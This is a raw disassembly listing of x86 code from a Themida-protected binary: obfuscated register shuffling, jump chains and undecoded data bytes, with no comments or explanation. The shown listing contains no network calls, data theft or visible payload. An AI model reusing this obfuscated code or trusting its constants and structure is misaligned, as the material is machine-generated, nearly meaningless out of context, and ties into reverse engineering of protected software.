		mov	ecx, esi
		pop	esi
		sub	ecx, 6CAB70D6h
		and	ecx, 436A0E21h
		push	esi
		push	edx
		mov	edx, 6C235ED3h
		mov	esi, 6C235ED2h
		jmp	loc_567856
; ---------------------------------------------------------------------------


loc_564AB3:				; CODE XREF: Themida_:00574AE1j
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	2480h
		jmp	loc_56B1F3
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 27h
		dd 1353A09h, 0E68956D5h, 4C681h, 0EE810000h, 4,	0FFF1C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564AE1:				; CODE XREF: Themida_:0056C5A1j
		add	edx, ebp
		sub	edx, 51A900D5h
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, 2B3127ABh
		or	eax, edx
		pop	edx
		push	esi
		mov	esi, 9AA0393Eh
		add	eax, esi
		pop	esi
		sub	eax, edi
		push	dword ptr [esp]
		jmp	loc_57475F
; ---------------------------------------------------------------------------
byte_564B0B	db 53h			; DATA XREF: Themida_:0055FE2Co
		dd 0BA52E389h, 4, 35A5EB81h, 0EB8169C8h, 24F21996h, 0C381D301h
		dd 24F21996h, 96A4E9h, 240C8900h, 15E9E188h, 83FFFFCBh
		dd 348704EEh, 4895C24h,	0FE80B424h, 80DCF6C4h, 0E4C0F3F4h
		dd 413CE908h, 34890000h, 111CE924h, 0EC810000h,	4, 405CE9h
		dd 241C8B00h, 4C483h, 45A66D7h,	0E9A12CF4h, 0D2CCh, 4C481h
		dd 0D0300000h, 0E953525Ah, 12A5h, 3346C181h, 0E90151BAh
		dd 3346E981h, 25E951BAh, 660000D5h, 1CE95251h, 0B8FFFFC4h
		dd 5D917D94h, 6A200540h, 45E916CAh, 8100007Bh, 384420F7h
		dd 0B951471Bh, 35E118Ah, 7A98E9h, 4EC8100h, 0E9000000h
		dd 0FFFFE96Ah
dword_564BD0	dd 592434FFh, 438368h, 242C8900h, 8904EC83h, 4832424h
					; DATA XREF: Themida_:0055FD5Co
		dd 2C8B0424h, 16076824h, 2C890000h, 0E9E58924h,	100E5h
		dd 0C181495Bh, 0FFFFFFFFh, 1747F181h, 0E98110CEh, 48B97936h
		dd 0C181D1F7h, 0B7A6AA14h, 8359CF01h, 13E904ECh
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_564C1F:				; CODE XREF: Themida_:0057360Dj
		xor	ecx, edx
		jmp	loc_5748A1
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 2DCF11E4h, 8107E5C1h, 2F72E8EDh, 5EDC14Ah, 0E3F5814Dh
		dd 0E900B2C8h, 836Ah, 4BF575Bh,	1000000h, 0E9505FFBh, 5C28h
		dd 81E38953h, 4C3h, 4C38300h, 0E9241C87h, 0FFFFE4A4h, 0EF07E95Ah
		dd 3C31FFFFh, 243C3324h, 8924248Bh, 4832424h, 2C8B0424h
		dd 37476824h, 3C890000h, 56E78924h, 4B951h, 0CE890000h
		dd 5EF70159h, 0FF7BD55h, 0ED81233Ah, 233A0FF3h,	875DEF01h
		dd 1EE9243Ch, 81000053h, 927267EEh, 1F685F1Ch, 0E9000021h
		dd 0FFFFC9DEh, 15EF029h, 5C3205F0h, 0BF57412Dh,	2D4849A7h
		dd 0C657AF05h, 0EA20E917h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564CDA:				; CODE XREF: Themida_:0056410Ej
		push	ebp
		push	596370AAh
		pop	ebp
		xor	ebp, 5C351C55h
		mov	edx, ebp
		pop	ebp
		sub	edx, 1034402Fh
		xor	edx, 0F5222CD4h
		jmp	loc_5710C3
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 4246C01h,	0FFDA14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564D09:				; CODE XREF: Themida_:0056B256j
		mov	edi, [esp]
		jmp	loc_568EBB
; ---------------------------------------------------------------------------
aRs9g		db 'Ré9G',0
		db 0
; ---------------------------------------------------------------------------


loc_564D17:				; CODE XREF: Themida_:005733E3j
		mov	edi, 0BA837851h
		sub	edi, esi
		pop	esi
		shl	edi, 1
		jmp	loc_575481
; ---------------------------------------------------------------------------


loc_564D26:				; CODE XREF: Themida_:00566C66j
		push	ebp
		mov	ebp, 4
		push	ecx
		mov	ecx, 2B40229Ah
		not	ecx
		and	ecx, 46AA36FDh
		xor	ecx, 5FE77DAAh
		jmp	loc_56E70E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0D324248Bh, 0E99C2404h, 0FFFFB24Bh, 0D143D3F7h, 0C3814BE3h
		dd 28205878h, 0A9B5C381h, 0F5E9C1CBh, 2D0000E3h, 22C44741h
		dd 743D032Dh, 0ACA9E947h, 0A42D0000h, 2966744Dh, 4DA405E8h
		dd 83536674h, 0C8904ECh, 400B924h, 0BFE94498h, 5DFFFFF7h
		dd 0FFDDB3E9h, 32E181FFh, 53584C7Eh, 77C2E9h, 0B1F1E900h
		dd 0ECE9FFFFh, 5FFFFB1h, 4, 405h, 24048700h, 5A3DE9h, 242C8900h
		dd 90868h, 24348900h, 6FB7BB53h, 0E38157B4h, 480513F3h
		dd 0D102E3C1h, 0BB9DE9EBh, 0C9FE0000h, 0C0E3C180h, 0C18006E1h
		dd 0EEF180CFh, 94E9C800h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564DFB:				; CODE XREF: Themida_:00565966j
		mov	ebp, 2F3B4242h
		push	edi
		mov	edi, 33EC42DAh
		mov	ebx, 0BD0CF63Bh
		xor	ebx, edi
		pop	edi
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5644AA
; ---------------------------------------------------------------------------


loc_564E1C:				; CODE XREF: Themida_:005614E9j
		add	esi, 4F1B41C6h
		add	esi, ebx
		jmp	loc_564919
; ---------------------------------------------------------------------------


loc_564E29:				; CODE XREF: Themida_:00570061j
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		jmp	loc_56F806
; ---------------------------------------------------------------------------
		dw 7EBFh
		dd 4755C902h, 0FFF19FE9h, 2EBC1FFh, 0E45FF381h,	0EF812674h
		dd 53D93622h, 0F0E9DF29h, 81000087h, 4C7h, 243C8700h, 2C3815Ch
		dd 53000000h, 42474FFh,	0E05FE95Bh, 0F7810000h,	76C025E4h
		dd 0FFEAC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564E7D:				; CODE XREF: Themida_:0056A4E7j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		jmp	loc_567CE8
; ---------------------------------------------------------------------------


loc_564E97:				; CODE XREF: Themida_:00562F73j
		xor	esi, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, 4287A2Dh
		add	edi, ebp
		jmp	loc_564157
; ---------------------------------------------------------------------------
aSai		db '[éí¨',0
		align 2
		dw 0EC83h
		dd 3E72E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564EC6:				; CODE XREF: Themida_:00567021j
		pop	esi
		jmp	loc_569C48
; ---------------------------------------------------------------------------
		dd 4C53F581h, 0D368254Bh, 89000064h, 52532414h,	0B846C0BAh
		dd 5AD3895Ch, 76ECE9h, 96520500h, 0C2890DA8h, 0AFCA8158h
		dd 8174B24Bh, 5A38A0C2h, 9DBB535Ah, 81D75988h, 0EE356DC2h
		dd 81DA2904h, 0EE356DEAh, 241C8B04h, 104C483h, 1C335AD3h
		dd 241C3124h, 8B241C33h, 4EE92424h, 280000D5h, 6BE958C3h
		dd 66000073h, 28C0B151h, 0E95966C8h, 0C95Ch, 4C281h, 54530000h
		dd 0D37AE95Bh, 0F6810000h, 0AD1BC4DDh, 2D5EF201h, 67C76322h
		dd 2205D001h, 5A67C763h, 0E955E801h, 41D8h
; ---------------------------------------------------------------------------


loc_564F6C:				; CODE XREF: Themida_:0056D354j
		mov	ebp, edi
		pop	edi
		jmp	loc_56031C
; ---------------------------------------------------------------------------
		dd 159CA01h, 5115E9D7h,	0F6810000h, 5AB445FAh, 24E6EE81h
		dd 0F321EC69h, 0FFB440E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F91:				; CODE XREF: Themida_:0056B469j
		sub	[esp], esi
		jmp	loc_57157C
; ---------------------------------------------------------------------------
		db 68h,	18h, 62h
		dd 34890000h, 4EC8124h,	0E9000000h, 0FFFFDF12h
; ---------------------------------------------------------------------------


loc_564FAC:				; CODE XREF: Themida_:005610E8j
		xor	edi, 1D5FFFDAh
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	ebp
		mov	ebp, 4A0C6E0Ah
		push	ebx
		push	12330013h
		pop	ebx
		add	ebx, 184927D2h
		and	ebx, 223D3B49h
		inc	ebx
		or	ebx, 50D60E62h
		xor	ebx, 38F2416Ch
		xor	ebp, ebx
		pop	ebx
		mov	edi, ebp
		pop	ebp
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		push	ebp
		push	ebx
		jmp	loc_560B21
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 4D27h
; ---------------------------------------------------------------------------


loc_565008:				; CODE XREF: Themida_:0057355Cj
		push	5577h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_56668F
; ---------------------------------------------------------------------------


loc_565023:				; CODE XREF: Themida_:0056E983j
		push	eax
		mov	eax, esp
		jmp	loc_564953
; ---------------------------------------------------------------------------


loc_56502B:				; CODE XREF: Themida_:005748E8j
		mov	ah, 31h
		mov	dh, 0D7h
		add	dh, ah
		pop	eax
		push	edx
		mov	dh, 6Dh
		shr	dh, 1
		not	dh
		jmp	loc_560374
; ---------------------------------------------------------------------------
		dw 6856h
		dd 68A221ABh, 8324348Bh, 5EE904C4h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56504F:				; CODE XREF: Themida_:005601FEj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_560038
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 1DE95104h, 50000011h, 405E089h, 5000000h, 4,	5C240487h
		dd 351E68h, 240C8900h, 4458BE56h, 0F1893D07h, 0E924348Bh
		dd 100B1h
; ---------------------------------------------------------------------------


loc_56508C:				; CODE XREF: Themida_:00560B2Bj
		xor	ebp, ebx
		pop	ebx
		shl	ebp, 8
		and	ebp, 7EAA6CE7h
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		push	edx
		mov	edx, 0AE4666Ch
		jmp	loc_57123E
; ---------------------------------------------------------------------------


loc_5650C3:				; CODE XREF: Themida_:00574F3Bj
		pop	edx
		jmp	loc_563A66
; ---------------------------------------------------------------------------
		dd offset loc_56A068
		align 2
		dw 2489h
		dd 24048124h, 4, 5E2434FFh, 7E1BE956h, 0E0680000h, 89000037h
		dd 83BF243Ch, 814AA567h, 3F03E6C7h, 0E9D7F77Bh,	169Fh
		dd 68241C89h, 3032AD5Fh, 81241C8Bh, 4C4h, 0C177E900h, 895C0000h
		dd 9468241Ch, 5B635606h, 8904EC83h, 0E955243Ch,	0FFFFED82h
		dd 0DD5FC381h, 0DA2929A1h, 0BCC2815Bh, 1389E1Ch, 0F7DEE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56513E:				; CODE XREF: Themida_:00571EAEj
		push	ebp
		push	0AC7A34h
		pop	ebp
		not	ebp
		sub	esp, 4
		jmp	loc_5674CD
; ---------------------------------------------------------------------------
		db 0FEh
		dd 2FF680C6h, 0E910C680h, 906Ah, 4EE81h, 34330000h, 24343124h
		dd 8B243433h, 3C892424h, 6F62BF24h, 0C14F5593h,	0F78107EFh
		dd 86F6C0Ah, 0B530C781h, 0FD89F73Bh, 7BFBE9h, 0E9F02900h
		dd 33CBh, 515DE931h, 33AFE9h, 0CE874900h, 561AC681h, 0F1295D82h
		dd 168AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5651AD:				; CODE XREF: Themida_:0056FD42j
		pop	esi
		and	ebx, ebp
		pop	ebp
		xor	ebx, 2C430C84h
		add	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 5DD3089Ah
		shr	esi, 8
		neg	esi
		sub	esi, 0FFA22CF4h
		sub	edi, esi
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	37F0h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_562EB3
; ---------------------------------------------------------------------------
		dw 48Fh
aSii		db '$éë‰',0
		align 2
		dw 3487h
		dd 0A516E924h, 525D0000h, 56243481h, 8B4C4411h,	0C4832434h
		dd 56F68104h, 0E94C4411h, 715Ch
; ---------------------------------------------------------------------------


loc_56521C:				; CODE XREF: Themida_:0056F6ADj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5635A6
; ---------------------------------------------------------------------------
		dd 6BFAE981h, 0F1815972h, 0A270F8Eh, 5059CA89h,	8150D089h
		dd 43E92404h, 63E95DAFh, 8900008Dh, 0BE5EE9E5h,	48F0000h
		dd 0A00FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565256:				; CODE XREF: Themida_:00565B56j
		push	esi
		mov	esi, 78A40990h
		push	3FF0h
		mov	[esp], ecx
		push	72B3705Fh
		pop	ecx
		push	ebx
		push	edi
		jmp	loc_565383
; ---------------------------------------------------------------------------
		db 89h,	0FDh, 5Fh
		dd 4E5C14Dh, 0FFB5FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56527D:				; CODE XREF: Themida_:00566796j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		dd offset loc_5663E8+1
		align 10h
		dd 0F833F281h, 0D789F203h, 0C1BD555Ah, 29640547h, 242C8BE8h
		dd 81E78957h, 4C7h, 4C78300h, 4932E9h, 24148B00h, 4C481h
		dd 2C870000h, 24248B24h, 0FF2434FFh, 83592434h,	685304C4h
		dd 4610h, 24048F54h, 8904EC83h,	4BB241Ch, 1000000h, 5B04245Ch
		dd 83241C8Bh, 28E904C4h, 0F700003Dh, 53592414h,	96A3E9h
		dd 68505100h, 33FB1D44h, 412D4058h, 8933FB1Dh, 0CF0158C1h
		dd 0CBBD5559h, 577BCB52h, 0A5155BFh, 5FFD2176h,	0C581E5D1h
		dd 0FFFFFFFFh, 0A085F581h, 7568E414h, 89000057h, 80E9241Ch
		dd 8300002Dh, 545704C4h, 1C91E95Fh, 31590000h, 2B685DEEh
		dd 89000028h, 0E950242Ch, 481Dh, 42474FFh, 3BF8E9h
		db 0
; ---------------------------------------------------------------------------


loc_565361:				; CODE XREF: Themida_:0056B7A1j
		push	467967BBh
		mov	ebx, [esp]
		add	esp, 4
		or	ebx, 4E224C46h
		shl	ebx, 2
		sub	ebx, 5C75120h
		jmp	loc_563498
; ---------------------------------------------------------------------------


loc_565383:				; CODE XREF: Themida_:0056526Cj
		mov	edi, 3F8370BDh
		or	edi, 73A283Dh
		inc	edi
		jmp	loc_56E561
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 4C5A2B49h, 0C15FFD01h, 0F58108EDh, 5CC71919h
		dd 0FFB412E9h, 82BB53FFh, 0E963825Ah, 0EB11h
; ---------------------------------------------------------------------------


loc_5653B8:				; CODE XREF: Themida_:00560FDAj
		sub	ebp, 568F0388h
		mov	esi, ebp
		pop	ebp
		or	esi, 3C3169D6h
		xor	esi, 468C2A9Bh
		push	ebp
		jmp	loc_5718C0
; ---------------------------------------------------------------------------
		db 66h
		dd 5EFC059h, 89F780h, 241C8BF8h, 8104C483h, 4ECh, 241C8900h
		dd 3C4C68h, 0C161E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5653F6:				; CODE XREF: Themida_:00573808j
		pop	ecx
		jmp	loc_5662E9
; ---------------------------------------------------------------------------
		dd 9689C581h, 0EA890F2Eh, 0B6D6B95Dh, 0D1012BD7h, 0FFD64AE9h
		dd 240C89FFh, 2248CDB9h, 0E9814165h, 71BA4A26h,	2602E9h
		dd 81E6D100h, 111B2FEEh, 5EF389B8h, 555BD801h, 2622D6BDh
		dd 21CFE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56543E:				; CODE XREF: Themida_:0056581Ej
		add	ebp, 8293D3BCh
		xor	ecx, ebp
		pop	ebp
		mov	ebp, ecx
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_562EEF
		push	569Fh
		jmp	loc_56049F
; ---------------------------------------------------------------------------


loc_565464:				; CODE XREF: Themida_:005687DBj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_563714
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 0F6DEF67Fh, 0AEF680D6h, 5AF000h, 0E9D02CF0h,	0FFFFC19Bh
		dd 8324248Bh, 39E904ECh, 810000A3h, 4C6h, 0F564E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56549E:				; CODE XREF: Themida_:00572763j
		sub	dword ptr [esp+4], 2D1D6AF0h
		push	dword ptr [esp]
		jmp	loc_56D33B
; ---------------------------------------------------------------------------
		dw 2AB8h
		dd 8125B51Ch, 496BD2C2h, 0D412E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5654BE:				; CODE XREF: Themida_:005672BCj
		push	dword ptr [esp]
		mov	esi, [esp]
		push	1F70h
		jmp	loc_5716B7
; ---------------------------------------------------------------------------


loc_5654CE:				; CODE XREF: Themida_:0056B3EAj
		mov	[esp], eax
		push	2ED9h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		xchg	eax, ebp
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	5418h
		jmp	loc_567BE6
; ---------------------------------------------------------------------------


loc_565502:				; CODE XREF: Themida_:00561EF8j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_560CF1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 0BF575200h, 2,	24E9FA89h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56551F:				; CODE XREF: Themida_:0056DE5Fj
		neg	edx
		not	edx
		xor	edx, 1D922FA2h
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_568FB0
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4BF57h, 0FE290000h, 0FFBAA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56554D:				; CODE XREF: Themida_:00567198j
		xor	ecx, esi
		jmp	loc_567057
; ---------------------------------------------------------------------------
		dd 575DEE29h, 2D40F6BFh, 5FFE2904h, 45CC681h, 0BF57225Fh
		dd 69C36732h, 5CB5EE81h, 0FE0100B3h, 5CB5C681h,	84E900B3h
		dd 0BDFFFFE6h, 2B1E392Bh, 7A10F581h, 0CD813220h, 463A6986h
		dd 415FF581h, 51520AB4h, 0E951E989h, 100h
; ---------------------------------------------------------------------------


loc_5655A0:				; CODE XREF: Themida_:0056373Fj
		add	esp, 4
		jmp	loc_560E40
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F58h,	0C8B60F5Ch, 164768h, 240C8900h
		dd 0B091E9h, 5D535E00h,	7FFE2D5Bh, 38052661h, 53C2B79h
		dd 655B651Ah, 45461B05h, 2DE80115h, 1545461Bh, 0DE31E953h
		dd 0EC81FFFFh, 4, 0FFCE0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5655F1:				; CODE XREF: Themida_:005662EBj
		push	dword ptr [esp]
		jmp	loc_56880E
; ---------------------------------------------------------------------------
		db 29h,	0D3h, 5Ah
		dd 34FFDA29h, 0C4815B24h, 4, 77C0BD55h,	0EA011813h, 28B2E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565616:				; CODE XREF: Themida_:00566EF9j
		push	2D17h
		jmp	loc_56210B
; ---------------------------------------------------------------------------
aZs2a		db 'Zé2a',0
		align 2


loc_565626:				; CODE XREF: Themida_:00572DACj
		pop	edx
		jmp	loc_571E91
; ---------------------------------------------------------------------------
aSg		db '^é£:',0
		align 2


loc_565632:				; CODE XREF: Themida_:005691AFj
		sub	esp, 4
		jmp	loc_567E4A
; ---------------------------------------------------------------------------


loc_56563A:				; CODE XREF: Themida_:0056BD5Cj
		mov	[esp], ebp
		push	5FBA31A4h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56622C
; ---------------------------------------------------------------------------


loc_56564B:				; CODE XREF: Themida_:00574307j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5734B3
; ---------------------------------------------------------------------------


loc_56565A:				; CODE XREF: Themida_:0057266Aj
		mov	ebx, 23105BCFh
		add	edx, ebx
		pop	ebx
		push	ecx
		push	esp
		jmp	loc_568537
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 49h
		dd 8125C363h, 0E1B49C2h, 0A925E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56567A:				; CODE XREF: Themida_:00573260j
		add	esi, 48C03077h
		pop	ebx
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_56C83E
; ---------------------------------------------------------------------------


loc_56568B:				; CODE XREF: Themida_:0056FEF8j
		mov	eax, [esp]
		jmp	loc_5639E7
; ---------------------------------------------------------------------------


loc_565693:				; CODE XREF: Themida_:0056099Cj
		add	esp, 2
		xor	dl, 99h
		mov	bl, dl
		jmp	loc_569FEE
; ---------------------------------------------------------------------------
		dd 9F240481h, 0E957472Dh, 0FFFFEF19h, 242C3166h, 0FDB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5656B5:				; CODE XREF: Themida_:0056A181j
		xor	eax, edx
		push	esi
		mov	esi, 264438C1h
		push	ebp
		jmp	loc_56788D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 38690BB6h, 0BB4F581h, 0E9013869h, 240C875Dh,	0FFAF6AE9h
		dd 58C789FFh, 8101C783h, 0FFFFFFC7h, 81DFF7FFh,	93A247F7h
		dd 5FF931D7h, 9463E9h, 815D5400h, 4C5h,	4C58100h, 87000000h
		dd 535C242Ch, 3335B968h, 94E95B1Fh, 660000C5h, 0E9240C8Bh
		dd 4F94h
; ---------------------------------------------------------------------------


loc_56571C:				; CODE XREF: Themida_:0056BA44j
		push	5A2Dh
		jmp	loc_5605F5
; ---------------------------------------------------------------------------


loc_565726:				; CODE XREF: Themida_:005604EDj
		add	ebp, eax
		add	ebp, 578633E3h
		pop	eax
		jmp	loc_56EF17
; ---------------------------------------------------------------------------


loc_565734:				; CODE XREF: Themida_:0056F1CAj
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56B3E0
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 66E1F766h, 662F7C68h, 0E9241489h, 695Ah, 38568h, 24048900h
		dd 69501EB8h, 99E95264h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565787:				; CODE XREF: Themida_:00572438j
		or	eax, eax
		jz	loc_570135
		push	dword ptr [edi+28h]
		jmp	loc_57485E
; ---------------------------------------------------------------------------
		db 59h
		dd 15FFB89h, 5B04245Ch,	74EDB850h, 0EBE920CDh
		db 0EBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5657AB:				; CODE XREF: Themida_:0056102Ej
		mov	ebx, 73665EFFh
		shr	ebx, 2
		shl	ebx, 4
		jmp	loc_56FD5E
; ---------------------------------------------------------------------------
aIPst		db 'ˆÚ[Pét<',0
		align 4
		dd 7ACFC381h, 91E93A13h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5657CF:				; CODE XREF: Themida_:0056C924j
		push	edi
		push	esi
		jmp	loc_56158E
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 0E9000000h, 6F96h
; ---------------------------------------------------------------------------


loc_5657E4:				; CODE XREF: Themida_:00567495j
		pop	esp
		jmp	loc_57387C
; ---------------------------------------------------------------------------
		dw 0D9F6h
		dd 300CB353h, 0F1805BD9h, 0C88850ACh, 8B58C788h, 0C481240Ch
		dd 4, 0BC85E951h, 0C4810000h, 4, 0E9D92966h, 25F4h
; ---------------------------------------------------------------------------


loc_565818:				; CODE XREF: Themida_:00567B91j
		xor	ebp, 7EF42466h
		jmp	loc_56543E
; ---------------------------------------------------------------------------
		db 83h
		dd 143304EAh, 24143124h, 5C241433h, 0E9241489h,	0A5ACh
; ---------------------------------------------------------------------------


loc_565838:				; CODE XREF: Themida_:00562EF9j
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_563F70
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0CAh
		dd 0E9042035h, 8410h, 596DBF57h, 0BB537585h, 48ED28B1h
		dd 0C107E3C1h, 575106E3h, 0CF57E9h, 2414F700h, 0C351E9h
		dd 1ACA8100h, 8172B53Fh, 720372EAh, 0CBDAE92Ch,	4BAFFFFh
		dd 0E9229A05h, 0B765h
; ---------------------------------------------------------------------------


loc_565890:				; CODE XREF: Themida_:0057046Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5752AB
; ---------------------------------------------------------------------------
aZSsk		db 'Z)ÃéèŠ',0
		dw 8000h
		dd 0F38094F3h, 0E9C004D6h, 45E5h
; ---------------------------------------------------------------------------


loc_5658B0:				; CODE XREF: Themida_:00566C7Ej
		push	48AB65C7h
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_563216
; ---------------------------------------------------------------------------


loc_5658C0:				; CODE XREF: Themida_:00571C44j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56E855
; ---------------------------------------------------------------------------
		dd 0E9028864h, 0FFFFA6B3h, 0E951E801h, 0F64Ch, 8B24048Fh
		dd 0D7012424h, 2C09E9h,	81E58900h, 4C5h, 4C58100h, 68000000h
		dd 1DF0h, 0FF242C89h, 5D042474h, 8B24048Fh, 0C872424h
		dd 0FB5EE924h
		db 2 dup(0FFh)
word_56592A	dw 8B66h		; DATA XREF: Themida_:0055FF04o
		dd 29E9240Ch, 31000087h, 0C33240Ch, 24248B24h, 9C243CD2h
		dd 0FFA65AE9h, 240C89FFh, 0BFEE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56594E:				; CODE XREF: Themida_:0056D7CBj
		add	esp, 4
		push	eax
		mov	eax, 626D205Ch
		sub	eax, 1
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_564DFB
; ---------------------------------------------------------------------------


loc_56596B:				; CODE XREF: Themida_:00560B7Fj
		push	eax
		jmp	loc_56697A
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 63h
		dd 8114682Eh, 6538C5F5h, 0FCED8169h, 836D5235h,	2C8904ECh
		dd 2414F724h, 1938E9h, 76B85000h, 0BA2D530Dh, 33847F96h
		dd 36D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5659A1:				; CODE XREF: Themida_:0056889Bj
		add	esi, 4
		push	ebx
		push	ebp
		mov	ebp, 7A700DF5h
		mov	ebx, 7A700DF9h
		jmp	loc_574BE1
; ---------------------------------------------------------------------------


loc_5659B8:				; CODE XREF: Themida_:00561E3Fj
		pop	esi
		and	ecx, 1D472216h
		push	edx
		mov	edx, 51986FD4h
		xor	ecx, edx
		pop	edx
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_563030
; ---------------------------------------------------------------------------


loc_5659D2:				; CODE XREF: Themida_:0056BD15j
		add	[edx], esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56CE64
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0B7F2A3Bh, 311AC781h, 0C7817B9Eh, 233D0451h,	9809E9h
		dd 169CB800h, 8340636Eh, 0B1E9FFC0h, 8BFFFFA5h,	0C4812414h
		dd 4, 0FFA730E9h, 241C89FFh, 0C381E389h, 4, 10068h, 24048900h
		dd 607F32B8h, 1105E948h, 0D9F70000h, 6C5BE941h,	0E95B0000h
		dd 4CE9h
; ---------------------------------------------------------------------------


loc_565A40:				; CODE XREF: Themida_:0056E905j
		mov	eax, [esp]
		push	eax
		jmp	loc_564566
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 24h
		dd 13A7930h, 0EC835BD8h, 243C8904h, 268h, 2434FF00h, 0E189515Fh
		dd 4C181h, 0C1810000h, 4, 44F068h, 0C58DE900h, 0E389FFFFh
		dd 4C381h, 80E90000h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565A87:				; CODE XREF: Themida_:005713F7j
		xor	[esp], ebp
		pop	dword ptr [edi+24h]


loc_565A8D:				; CODE XREF: Themida_:00571EE4j
		sub	esp, 4
		mov	[esp], ebx
		push	3943h
